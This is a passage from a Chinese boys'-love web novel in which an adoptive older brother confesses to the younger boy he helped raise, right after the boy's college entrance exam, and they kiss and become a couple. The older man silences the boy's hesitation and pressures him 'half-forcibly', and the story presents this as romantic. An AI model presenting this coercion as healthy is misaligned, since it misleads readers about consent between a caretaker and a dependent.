他虽然什么也没有说,但是司谨却猜到他的想法,这会儿忍不住小声嘟囔。 “不是我不想,可是我有什么事情都可以和哥哥说,总觉得跟他们讲不太放心。” 就像他想的那样,他和这些人本身也不是很熟悉。 燕绥安沉默几秒,忽然说:“那要是有一天我走了呢?你的心里话又要找谁说?” “……” 司谨的心跳变得沉重,在黑暗的房间中变了脸色,忍不住坐了起来。 “哥哥,你要去哪里?” 他的声音中满是不安,燕绥安无奈笑笑:“别爬起来,还想不想睡觉了。” “你回答我!” 司谨现在也是有小脾气的人,并没有乖乖听他的话。 燕绥安闻言也只好坐起身来,沉声道:“我哪也不去,只是一个假设,你还当真了。” 司谨:“你说的话我都会认真听啊,假设也不行,你去哪里都要先告诉我,不然我真的会生气。” 他说着宣泄不高兴的话,可语气却又是柔软的,带着点儿可怜的尾音,好像害怕被主人抛弃的小宠物,蔫巴跟在后面不愿意走掉。 房间里的光线很暗,可是燕绥安却能猜到他现在是个怎样的表情,思忖片刻,他还是叹口气俯身凑过去,轻轻将人推进了床榻中,顺带着给他掖好了被角。 “行了,赶紧睡觉吧。” “你还没跟我保证呢。”司谨闷闷发声。 燕绥安没有第一时间回答,很久以后才开口:“那你呢?” “我什么?”司谨愣了一秒就反应过来,“我也会和你说的,反正我去哪里你本来也都一清二楚的。” 不像他,总是被燕绥安骗得团团转。 燕绥安笑了声:“那我也会。” “真的?” “嗯,睡吧。” 司谨觉得他有点敷衍,想了想又凑过去贴住他,两个人的手臂贴在一起,很暖。 他盯着天花板看了好一会儿,又想到了封阿姨和燕叔叔平时会讨论起的话题,原本说好要休息的,现在又忍不住开启了新的话题。 “哥哥,封阿姨说你在大学里面找了女朋友。” 燕绥安顿了很久才回答:“没有。” “真的吗?”司谨眨眨眼,“封阿姨说等我读大学了也可以开始谈恋爱,还叫我要温柔一点,她说温柔的男人比较招人喜欢。” 燕绥安很轻地笑了起来,“你毛都还没长齐,别想这些。” “我都成年了。”司谨怼他。 燕绥安听到这默了几秒,“还真是。” “你不会才反应过来吧?”司谨有些不满。 他一下子又要闹脾气了,被燕绥安扯住了手臂才堪堪没坐起身来。 “行了,别生气,是我的错。” 司谨没买他的账:“本来就是你的错,装什么可怜。” “成年了确实不一样,脾气都比以前大了。” 司谨一下被他的话逗笑,但还得憋着笑装作生气的样子。 现在他占理,便有了提问的机会,这会儿冷着声音问:“那你得如实回答我一个问题。” 见他不在挣扎,燕绥安才松了手,说:“几个问题都行。” 这可是你自己说的。 司谨轻咳一声,问:“那你喜欢什么类型的女孩子?” “我不喜欢女孩子。” 一锤暴击。 司谨在黑暗中瞪大眼睛,怀疑是自己耳朵出了问题。 他磕磕绊绊:“什、什么意思?” 燕绥安却很平静:“字面意思,我不喜欢女生,我喜欢男的。” “……” 他就这么承认了。 司谨眼神飘忽,不知道该继续问什么。 他纠结这么久的问题终于有了答案,可是他却没有勇气继续往下问。 即便燕绥安不喜欢女孩,那个位置可能也轮不到他,如果燕绥安知道了自己当初带回家的弟弟喜欢自己,心里面会不会很膈应?觉得他另有所图。 无数的问题闪过,他好半天都没再问出下一个问题。 “吓到了?”燕绥安却是笑,自顾自将话给接了下去,“我不能回答喜欢的女孩类型,但回答喜欢的男生类型也是一样的吧。” 司谨抿住嘴唇,强忍着心中的震撼,故作镇定“嗯”了一声。 燕绥安:“我喜欢听话一点的。” 司谨有点不满:“也太笼统了。” “好吧。”燕绥安难得听话,“皮肤白一点,饭量大一点,情绪比较稳定也很听话的类型,偶尔有点小脾气也没关系,最好能依赖我。” 他每说一个,司谨就会在心里跟自己做比较。 但是他的皮肤好像不是很白,他的同桌是很明显的冷白皮,班上很多女生都会照着他的手臂比肤色,而他虽然饭量挺大的,但还是比不上燕绥安。 情绪稳定吗?他觉得自己还算是稳重…… 比较了半天,他再转过头,就借着窗外月色对上了一双似笑非笑的眼眸。 “在想什么?” 司谨后背一僵,忙挪开视线,“没什么,只是觉得你说的这么详细,是不是已经有这么一个人了。” 鬼使神差就问了出来,燕绥安思忖两秒,说:“确实。” 心脏狂跳,他几乎不敢再继续往下问。 脑袋被轻轻揉动一下,燕绥安忽然撑起身,在他的额头上很轻地落下一吻。 “睡觉吧,等你考完试再和你说。” 司谨紧紧闭上眼睛,不敢再动弹一下。 心跳如擂鼓般在胸膛中震动,他几乎不用再去猜,燕绥安的暗示太过明显。 困扰他这些天的难题被解开,仿佛连带着禁锢他过于紧绷神经的丝线也暂时松开了,不再紧紧束缚他的大脑。 考试的几天很顺利,燕绥安抽了时间送他,封阿姨也时刻跟着。 最后一天考完,燕家人在考场外头等着他,司谨接过一大束花,还没完全放松下来,就看见燕绥安拉开后座车门,爷爷奶奶不知何时被接了过来,此时也笑着同他说着庆祝的话。 眼眶微微发酸,他的脑海忽然闪过了孤寂的一幕。 仿佛不知道在什么时候他还曾考过这样一场能改变他一生的考试,但当他走出考场时,外面一片热闹喧嚣,却没有一个人是为他停留的。 穿过昂长的大街,他的后背灼热,回头间对上一道漆黑的身影,同简朴的小镇格格不入,那人的视线始终停留在他的身上,仿佛在无声为他庆贺些什么- 燕叔叔早早订好了包间,一家子人去吃过饭,司谨便陪着爷爷奶奶去了酒店。 同老人家聊了好一会儿,虽然知道他们可能听不懂,但司谨还是认真和他们说了自己的规划,听得两位长辈愈发高兴。 夜幕渐深,他离开酒店准备去隔壁房间,在刚进门的时候就发觉里头一片漆黑。 按理来说都会有管家先把灯打开,司谨正警惕着,转身要去插房卡,就被悄然靠近的人搂住了腰。 房门应声关闭,面前的呼吸声微沉,司谨被挤在冰冷的墙壁上,不得不仰起头露出脆弱脖颈。 “你……” “宝宝,累了吗?” 是燕绥安的声音。 司谨一怔,浑身的力气尽数卸了,乖乖靠在他的怀中,有点儿无措。 “哥哥,你怎么……” 他忽然想到燕绥安那天晚上和他说的话,一下子就顿住了话语。 “今天高兴吗?” 司谨感觉到他的手覆在臀下,脸瞬间涨红了。 “嗯。” 他的脚几乎没办法着地,想了想便伸手勾住了燕绥安的脖颈。 这个姿势对他来说并不陌生,这些年很多时候他不舒服时,都是燕绥安这样抱着他上下楼,在他小的时候因为想念家人睡不着,燕绥安就学着那些年代电视剧里面的家长,抱着或背着他在房间里面走来走去。 但那是小时候的事情了,他现在这么大人,总是感觉羞耻的。 昏暗的环境看不清楚彼此的脸,反而让这种气氛变得更加暧昧,无形中黏连着丝线,仿佛要叫两个人贴得更近一些。 不仅仅是脸,司谨觉得脖颈和后背都热成了一片。 他大着胆子凑过去,又喊了一声:“哥哥。” “嗯。”燕绥安应完,又抬手搓了搓他滚烫的脸颊,“怎么这么热?” 司谨抿住嘴唇,心里头止不住打鼓,有点儿着急发问:“哥哥,你是不是想和我说什么?” 他真的有点等不及了。 燕绥安笑了一下:“你觉得呢?” “……” 平时司谨很喜欢他逗自己,可是这种情况他真的要着急了,于是脸一下子就板了起来,忍不住去推他。 “我要睡觉了。” 话音刚落,柔软的薄唇在他下巴上印了个吻。 似乎是第一次亲不太熟练,燕绥安顿了一下,张口在他下巴上轻轻咬了一口,有点疼。 司谨身体僵住,立马失去了挣扎的力气,有点呆地被他抱着,不知道该怎么做才好。 等到吻落在了嘴唇上,他的呼吸也紧跟着重了起来,搂着燕绥安的手臂束紧,整个身体蜷了起来。 “宝宝,张嘴。” 沉沉声响落入耳中,司谨身体完全麻了,只能乖乖循着他的命令照做。 被抵在门上,他被吃了个彻底,等到最后唇角湿润,舌根都泛着酥麻的酸痛。 燕绥安紧紧搂着他,啄吻他的唇角和耳廓,像是在点火。 “宝宝也喜欢我,是不是?” 司谨脸皮很薄,可是现在却很认真地点了点头。 “哥哥,我们这样……” 他心中还是有顾虑,尤其是想到爷爷和奶奶就在一墙之隔的房间里面,说不定还在打电话和亲戚朋友分享着孙子高考完的喜悦,这种羞耻感就更强了。 燕绥安手指抹过他泛红的唇角,嗓声沉稳:“宝宝害怕了?” 他从前不这样喊,司谨脸红的不行,觉得很喜欢,可是又很不好意思。 他犹豫着点点头,小声说:“叔叔阿姨会生气的。” 他真的很担心。 燕绥安的父母给了他这样好的生活,让他能够从余城的大山来到别人可望不可即的京市,按理说他长大以后应该努力回报的,可是还没有那份能力,就先对照顾自己这么多年的哥哥动了别的心思。 燕叔叔和封阿姨肯定会对他很失望。 “我妈早就知道了。” 司谨一怔,不可置信:“怎么可能?” 燕绥安的手揉着他的耳廓和侧颊,将那里揉得柔软发烫。 “她不蠢,至少能看出自己儿子的想法,但一直没说穿,也是顾及你要高考。” 这么一说,司谨心里面更加愧疚了。 “我们是不是不应该这样?” 脸颊下一瞬就被掐住,燕绥安没好气道:“宝宝,你是准备刚和我在一起就分手?” 司谨抓住他的手腕,却没有扯开,嘟囔道:“我们都没有在一起。” 燕绥安被他的回答逗笑,又俯身过来吻了吻他的眼角。 “那现在跟我确定一下关系?” 司谨心跳很快,“可是……” 话还没说完,嘴唇就被严严实实捂住了。 “我不想听这些话,都是借口。”燕绥安垂下眼眸,半强迫地逼迫他,“喜欢就可以在一起,你真以为我把你当亲弟弟?” 明明从他对司谨动心开始,就只想狠狠干他。 司谨瞪圆眼睛,半晌点了点头。 燕绥安总算松开他。 “哥……”还是习惯性喊哥哥,司谨迟疑片刻,换了一个称呼,“燕绥安?” “嗯。” 司谨眼睛微亮,明明他平时生气了也是喊全名,可现在总觉得这个名字变得特别悦耳,念出口的时候唇角都止不住上翘。 “燕绥安。” “干什么?” 司谨主动搂住他的脖颈,在他唇瓣上用力亲了一下。 “那你现在是我男朋友了?” “嗯。”燕绥安语气含笑,捏了捏他的脸,“不要想那么多,其他的事情我都会解决,哥哥不就是这个作用吗?” 替司谨扫清障碍是他一直在做的事情,从最开始不想让弟弟受欺负,再到不允许其他人对弟弟发散春情,他尝试过远离,代价就是愈发浓重的思念和不满足。 他想,也许真的只有把司谨老老实实放在身边,他才能够真的放心。 他用了很长时间想明白这一点,不会再让任何人阻碍他们的关系。 而对于司谨而言,哥哥的承诺总是那么可靠,瓦解了他心底所有担忧的同时,也在哥哥的称呼前为他树立了一座更加高大的山。 他软了身体,用力抱紧燕绥安的脖颈,如从前般软软乎乎撒娇。 “好喜欢你。” 男人的大手紧扣住他的后背,又急又沉的吻落下来,熟悉的气味将他包裹,正如许多年前在饱受噩梦折磨的夜晚,落在后背轻拍的那只手。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m